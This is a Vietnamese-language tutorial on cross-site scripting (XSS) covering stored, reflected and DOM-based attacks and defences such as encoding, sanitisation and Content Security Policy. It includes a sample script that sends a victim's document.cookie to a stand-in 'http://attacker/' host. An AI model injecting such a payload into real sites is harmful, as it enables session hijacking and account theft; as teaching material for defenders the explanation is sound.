Excess XSS

Part One: Overview

What is XSS?

Cross-site scripting (XSS) là cuộc tấn công mã độc cho phép kẻ tấn công thực hiện mã độc JavaScript trong trình duyệt của người dùng khác. Kẻ tấn công không trực tiếp nhắm vào nạn nhân. Thay vào đó sẽ khai thác lỗ hổng bảo mật trong một trang web mà nạn nhân truy cập để trang web đó truyền mã độc JavaScript cho người dùng. Đối với trình duyệt của nạn nhân, mã độc này dường như là một phần hợp pháp của trang web.

How the malicious JavaScript is injected

Kẻ tấn công đưa mã độc JavaScript vào các trang web nhằm cho nạn nhân click hoặc tải chúng xuống. Giả sử ở một trang web, khi bạn post một comment vào topic, server sẽ lưu comment bạn post và hiển thị dưới dạng HTML. Ví dụ bạn post comment bình thường "Hỏi thế gian tình ái là chi?", thì server sẽ lưu và hiển thị dưới dạng html như sau:

<div class="last-comment">
   <p>Hỏi thế gian tình ai là chi</p>
</div>

Nhưng kẻ tấn công không nhập thông thường như thế, hắn sẽ kèm theo một đoạn mã độc trong comment của mình như : "Người thương ơi, em đang nơi đâu?<script>...(mã độc) ...</script>"

<div class="last-comment">
   <p>Người thương ơi, em đang nơi đâu?<script>...(mã độc) ...</script></p>
</div>

Và dĩ nhiên đoạn mã này sẽ được server lưu ở database và lôi ra hiển thị trong phần last comment ở trang web. Như vậy là vô tình tất cả người dùng khi tải trang nó sẽ load mã độc này lên và mã độc này được thực thi.

What is malicious JavaScript?

Ở thời điểm đầu, do JavaScript chạy trong môi trường hạn chế nên khả năng thực thi mã độc trên trình duyệt của nạn nhân có vẻ không độc hại. Tuy nhiên khả năng phát tán mã độc sẽ trở nên rõ ràng hơn khi bạn xem xét các sự kiện sau :

  • JavaScript có quyền truy cập vào một số thông tin nhạy cảm của người dùng, chẳng hạn như cookie.
  • JavaScript có thể gửi các yêu cầu HTTP với nội dung tùy ý tới đích bằng cách sử dụng XMLHttpRequest hoặc các cơ chế khác.
  • JavaScript có thể thực hiện các sửa đổi tùy tiện cho Html của trang web.

Những sự kiện này nếu được kết hợp với nhau có thể gây ra những vi phạm bảo mật nghiêm trọng.

The consequences of malicious JavaScript

Khả năng thực thi mã JavaScript tùy ý trong trình duyệt của người dùng khác cho phép kẻ tấn công thực hiện các loại tấn công sau: Cookie thefl: Kẻ tấn công truy cập cookie của nạn nhân bằng cách sử dụng document.cookie, và sử dụng các chúng để lấy các thông tin nhạy cảm như session ID. Keylogging: Kẻ tấn công có thể đăng ký một kịch bản lắng nghe và ghi lại các sự kiện bàn phím của người dùng bằng sự kiện addEventListener và sau đó gửi thông tin đó tới máy chủ của mình. Điều này kẻ tấn công có thể phân tích và ăn cắp các thông tin quan trọng như mật khẩu, số thẻ tín dụng, ... Phishing: Kẻ tấn công có thể chèn một mẫu đăng ký giả mạo vào trang web bằng cách sử dụng thao tác DOM. Đặt sự kiện submit form đến máy chủ của mình để ăn cắp tài khoản.

Mặc dù các cuộc tấn công kiểu này khác nhau nhưng chúng đều có một điểm tương đồng là kẻ tấn công đã chèn mã độc JavaScript vào web. Với tất cả ý định, mục đích, kịch bản được xem là một phần hợp pháp của trang web, cho phép nó làm bất cứ điều gì mà trang web thực tế có thể làm, tức là tính bảo mật của trang web đã bị vi phạm nghiêm trọng.

Part Two: XSS Attacks

Actors in an XSS attack

Các tác nhân liên quan đến một cuộc tấn công XSS gồm : the website, the victim, the attacker.

  • The website : là trang web phục vụ cho người dùng (giả sử máy chủ web là http://website/)
  • The victim : người dùng trang web
  • The attacker : người dùng độc hại của trang web có ý định tấn công người dùng bằng cách khai thác lỗ hổng XSS. (giả sử kẻ tấn công kiểm soát máy chủ của hắn tại địa chỉ : http://attacker/)

An example attack scenario

Trong ví dụ này, giả định rằng mục tiêu của kẻ tấn công là đánh cắp cookie bằng cách khai thác lỗ hổng XSS trên trang web. Điều này có thể thực hiện bằng cách trình duyệt của nạn nhân phân tích mã Html sau

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

lệnh này điều hướng trình duyệt của người dùng đến máy chủ của kẻ tấn công. URL khi đó bao gồm cả cookie của nạn nhân như một tham số truy vấn, từ đó kẻ tấn công có thể lấy ra các thông tin nhạy cảm để giả mạo nạn nhân và khởi động các cuộc tấn công khác. ảnh minh họa:

  • Bước 1: kẻ tấn công chèn mã độc vào comment của hắn
  • Bước 2 : người dùng gửi request xem last comment (hành động nhấn vào comment chứa mã độc)
  • Bước 3 : server phản hồi comment kèm mã độc
  • Bước 4 : trình duyệt của nạn nhân thực thi mã độc và gửi thông tin cookie của nạn nhân đến server của kẻ tấn công.

Types of XSS

1. Reflected XSS Chèn mã độc và URL dưới dạng query string, khi người dùng click vào url này thì sẽ render mã độc vào html và người dùng bị tấn công. kịch bản :

  • Bước 1 : kẻ tấn công gửi một URL chứa mã độc cho nạn nhân với những chiêu trò gợi sự tò mò : "Để làm quen với girl xinh FA hãy click vào đây 😄 "
  • Bước 2 : Nạn nhân bị lừa click vào URL chứa mã độc
  • Bước 3 : Website phản hồi chứa mã độc đến trình duyệt nạn nhân
  • Bước 4 : Trình duyệt của nạn nhân thực thi mã độc và gửi thông tin cookie đến server kẻ tấn công.

2. DOM-based XSS Do JavaScript được sử dụng để xử lý DOM, mã độc được chèn thẳng vào trong JavaScript. kịch bản :

  • Bước 1 : kẻ tấn công gửi một URL chứa mã độc cho nạn nhân với những chiêu trò gợi sự tò mò : "Để làm quen với girl xinh FA hãy click vào đây 😄 "
  • Bước 2 : Nạn nhân bị lừa click vào URL chứa mã độc
  • Bước 3 : Website phản hồi nhưng không bao gồm mã độc đến trình duyệt nạn nhân
  • Bước 4 : Trình duyệt của nạn nhân thực thi tập lệnh hợp pháp bên trong phản hồi, làm cho đoạn mã độc được chèn vào trang.
  • Bước 5: Trình duyệt của nạn nhân thực thi mã lệnh độc hại chèn vào trang, gửi các cookie của nạn nhân đến máy chủ của kẻ tấn công.

Part Three: Preventing XSS

Lỗi XSS thường gặp ở rất nhiều trang web, có một số cách khắc phục như sau : 1. Encoding Sử dụng hàm encode có sẵn trong các framework để mã hóa tất cả những ký tự đặc biệt từ các chuỗi đầu vào do người dùng nhập. Chuyển đổi các ký tự như <và> thành & lt; Và & gt ; .... Ví dụ, kịch bản phía máy chủ :

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

render html

<html>
Latest comment:
&lt;script&gt;...&lt;/script&gt;
</html>

Bên cạnh mã hóa bằng kịch bản phía máy chủ thì cũng nên kết hợp những cách mã hóa phía máy khách bằng JavaScript để giảm tải xử lý cho máy chủ. 2. Validation/Sanitize Kiểm tra tất cả các thông tin do người dùng nhập vào, loại bỏ các ký tự đặc biệt và xuất ra thông báo cho người dùng không nhập các ký tự này. Trích từ cuốn sách của anh Phạm Huy Hoàng :

Xin nhắc lại, làm ơn dùng các thư viện sẵn có chứ đừng “hổ báo” viết lại để thể hiện trình độ. Đã có rất nhiều trường hợp dính lỗi XSS vì developer tự tin và tự viết code để loại bỏ kí tự đặc biệt và... để sót.

3. CSP (Content Security Policy) Dùng chuẩn CSP để chống XSS. Với CSP, trình duyệt chỉ chạy JavaScript từ những domain được chỉ định.

<div class="last-comment"
     <p><script src="https://hackerBom.com/madoc.js"></script></p>
</div>

Vì mã độc trên hackerBom.com nên đoạn JavaScipt trên sẽ không được thực thi. Để sử dụng CSP, server chỉ cần thêm header Content-Security-Policy vào mỗi response. Nội dung header chứa những domain mà ta tin tưởng.

P/S : Tóm lại là đối với một trang web, dữ liệu liệu người dùng là rất quan trọng. Những vụ tấn công XSS rất phổ biến, vì vậy chúng ta cần quan tâm đến việc bảo mật nhiều và nhiều hơn nữa. Link tham khảo : http://excess-xss.com/ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Sách "Bảo mật nhập môn" của anh Phạm Huy Hoàng